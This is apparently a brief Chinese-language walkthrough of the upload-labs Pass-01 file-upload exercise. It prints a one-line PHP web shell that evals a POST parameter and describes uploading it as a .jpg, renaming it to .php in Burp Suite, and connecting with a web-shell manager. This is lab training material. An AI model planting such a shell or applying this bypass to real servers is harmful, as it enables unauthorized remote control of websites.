upload-labs--pass-01

Pass-01 準備好的一句話木馬<?Php @eval($_POST['attack']);?> 1.查看源代碼 代碼意思就是上傳的文件必須是jpg或者png或者gif類型 然後我們把一句話木馬寫入保存成jpg文件即可 上傳用bp抓包，將.jpg改成php，然後Forward即可，點取消攔截，當用菜刀或者蟻劍連接時，右鍵這個上傳的圖片，複製圖片地址即可，(我用的是蟻劍) 上面的url地址就是圖片

>>阅读原文<<